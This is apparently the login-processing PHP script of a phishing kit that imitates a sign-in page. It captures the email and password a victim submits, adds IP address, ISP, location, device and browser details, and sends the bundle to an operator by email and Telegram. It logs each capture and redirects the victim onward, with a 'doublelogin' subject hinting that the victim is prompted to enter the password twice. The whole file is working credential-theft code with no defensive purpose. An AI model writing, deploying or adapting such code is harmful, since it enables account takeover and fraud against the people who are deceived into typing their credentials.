<?php
// Start session if not already started
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Enable error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Load required files
require_once __DIR__ . '/DeviceHelper.php';
require_once __DIR__ . '/../core/functions.php';
include_once __DIR__ . '/Result.php';

// Store POST data in session variables
storeSessionData($_POST);

// Process POST request if method is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handlePostRequest();
} else {
    redirectWithDeviceParam("signin", ['error' => 'invalid_method']);
}

function handlePostRequest() {
    if (isset($_SESSION['username']) && isValidEmail($_SESSION['username'])) {
        if (empty($_SESSION['passwordlogin'])) {
            redirectWithDeviceParam("password", ['405forbidden' => generateRandomText(40)]);
        } else {
            processLogin();
        }
    } else {
        redirectWithDeviceParam("signin", ['error' => 'invalid_email']);
    }
}

function storeSessionData($postData) {
    $_SESSION['username'] = $postData['username'] ?? ($_SESSION['username'] ?? '');
    $_SESSION['passwordlogin'] = $postData['password'] ?? '';
}

function isValidEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL);
}

function processLogin() {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br, $settings;

    // Prepare and send login content
    $content = prepareLoginContent();
    $subject = "[510 NOT FOUND - DOUBLELOGIN] {$_SESSION['username']} // $countryname - $ip - $os - $br";
    $headers = createEmailHeaders();

    if (!empty($settings['resulttoemail']) && $settings['resulttoemail'] === 'on') {
        sendEmail($subject, $content, $headers);
    }

    if (!empty($settings['resulttotele']) && $settings['resulttotele'] === 'on') {
        sendLoginResultToTelegram();
    }

    logActivity();

    redirectWithDeviceParam("alert", ['405forbidden' => generateRandomText(50)]);

}


function prepareLoginContent() {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br;

    $templateFile = __DIR__ . "/Template/login.html";
    if (!file_exists($templateFile)) {
        return "Template file not found: " . $templateFile;
    }
    
    $content = file_get_contents($templateFile);

    return str_ireplace([
        "##date##", "##randomid##", "##username##", "##password##", "##ip##", "##isp##", 
        "##country##", "##country_code##", "##region##", "##city##", "##device##", "##browser##", "##ua##"
    ], [
        date('D d M Y'), md5(time()), $_SESSION['username'], $_SESSION['passwordlogin'], $ip, 
        $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br, $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'
    ], $content);
}

function createEmailHeaders() {
    global $settings;
    $fromMail = $settings['mailFrom'] ?? 'login@result.com';
    return "MIME-Version: 1.0\r\n" .
           "Content-type: text/html; charset=UTF-8\r\n" .
           "From: LOGIN <" . $fromMail . ">";
}

function sendEmail($subject, $content, $headers) {
    global $settings;
    if (isset($settings['emailResult'])) {
        @mail($settings['emailResult'], $subject, $content, $headers);
    }
}

function sendLoginResultToTelegram() {
    global $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os;
    
    if (function_exists('sendResult') && function_exists('generateLoginMessage')) {
        sendResult(generateLoginMessage(
            $_SESSION['username'], $_SESSION['passwordlogin'], date('l d F H:i:s'), 
            $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os
        ));
    }
}

function logActivity() {
    global $countryname, $ip, $br, $os;
    if (!is_dir('logs')) mkdir('logs', 0755, true);
    
    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Human Input Accounts (II)\n";
    file_put_contents("logs/activity.txt", $logEntry, FILE_APPEND);

    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Input Accounts (II)\n";
    file_put_contents("logs/total_login2.txt", $logEntry, FILE_APPEND);
}
?>